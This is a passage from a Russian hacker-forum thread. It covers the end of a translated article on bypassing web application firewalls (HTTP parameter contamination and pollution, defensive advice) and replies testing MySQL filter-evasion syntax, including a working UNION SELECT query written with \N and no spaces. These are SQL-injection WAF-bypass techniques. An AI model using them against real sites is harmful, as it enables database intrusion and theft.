    Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил.
    HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа "%", если WAF блокирует HPP.
    [0x04] – Как защитить ваш сайт
    - Реализуйте жизненный цикл программного обеспечения (SDLC)
    - Безопасное программирование: проверяйте все входные и выходные данные
    - Проводите тест на проникновение перед открытием онлайн-доступа
    - Укрепляйте его защиту!!
    - Проводите повторные тесты на проникновение
    - Используйте WAF (необязательно)
    - Постоянно проверяйте наличие свежих патчей для WAF
    [0x05] - Заключение
    - WAF не оправдывает всех ожиданий
    - WAF имеет функциональные ограничения и не может защитить веб-приложение ото всех возможных уязвимостей.
    - Необходимо адаптировать фильтры WAF для конкретного защищаемого приложения
    - WAF не устраняет уязвимость, он лишь частично экранирует вектор атаки.
    [0x06] - Ссылки
    [1] WAF Bypass: SQL Injection - Kyle
    [2] http://cwe.mitre.org/data/definitions/98.html
    [3] HTTP Parameter Contamination - Ivan Markovic NSS
    [4] Split and Join - Lavakumar Kuppan
    [5] HTTP Parameter Pollution - Luca Carettoni and Stefano di Paola
    [6] blog.spiderlabs.com
    [0x07] - Благодарности
    Благодарим: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
    Особое спасибо: Exploit-db.com
     
    #8 BabaDook, 18 May 2015
    Last edited: 19 May 2015
    madik, Ch3ck and Mister_Bert0ni like this.
  9. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    док по timestamp
    http://dev.mysql.com/doc/refman/5.6...rals.html#date-and-time-standard-sql-literals
    насчет того, откуда этот синтаксис с 0.e. всплыл - так и не смог найти.

    насчет \N я так и не нашел подтверждения, где это может работать. это не специфичный синтаксис mysql точно. если это где-то и работает, с mysql это вряд ли связано
     
    _________________________
  10. zuzzz

    zuzzz Member

    Joined:
    3 Jul 2009
    Messages:
    38
    Likes Received:
    8
    Reputations:
    1
    Это работает, сам проверял. Но не знаю на всех ли версиях mysql это работает. И предполагаю, что это именно mysql так обрабатывает \N
    \N интерпретируется как null.
     
  11. kingbeef

    kingbeef Reservists Of Antichat

    Joined:
    8 Apr 2010
    Messages:
    423
    Likes Received:
    165
    Reputations:
    126
    Ни разу не сработало.
     
    _________________________
  12. zuzzz

    zuzzz Member

    Joined:
    3 Jul 2009
    Messages:
    38
    Likes Received:
    8
    Reputations:
    1
    прямо сейчас проверил на своей базе mysql 5.5.19
    запрос:
    Code:
    select\N,version(),\Nfrom table_test1
    в ответ возвращается строки со значениями null, 5.5.19, null

    запрос к базе делал через десктопный клиент MySQL Workbench
     
    Mister_Bert0ni likes this.
  13. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    546
    Likes Received:
    159
    Reputations:
    324
    madik, man474019, t0ma5 and 2 others like this.
  14. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,671
    Likes Received:
    895
    Reputations:
    363
    в таком виде работает. однако, в статье \N стоит перед UNION, конкретно этот пример нигде не заработал у меня
     
    _________________________
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    805
    Reputations:
    841
    В консоле набиваем:
    а так норм:
    \N - это null ЗНАЧЕНИЕ, возможно в случае ТС, это значение обработалось какой либо функцией в скрипте как переход...

    information_schema X.e.tables где X любое int значение

    P.S: Доки бы к концу статьи приложить и в раздел статей перенести! Статья зачетная!
     
    _________________________
    #15 winstrool, 27 Jun 2015
    Last edited: 27 Jun 2015
  16. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    133
    Likes Received:
    40
    Reputations:
    26
  17. Br@!ns

    Br@!ns Elder - Старейшина

    Joined:
    3 Sep 2010
    Messages:
    915
    Likes Received:
    120
    Reputations:
    25
  18. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    805
    Reputations:
    841
    Данная статья, является переводом той статьи, что указал smik на ссылку....
     
    _________________________
  19. zuzzz

    zuzzz Member

    Joined:
    3 Jul 2009
    Messages:
    38
    Likes Received:
    8
    Reputations:
    1
    вот рабочий пример
    Code:
    SELECT\N,\Nfrom(table_test1)where\N=\Nunion(select\N,version())
     
  20. Mister_Bert0ni

    Mister_Bert0ni Reservists Of Antichat

    Joined:
    10 May 2015
    Messages:
    142
    Likes Received:
    188
    Reputations:
    57
    Code:
    http://ethicalhacking786.blogspot.com/2015/04/Waf-bypass-methods.html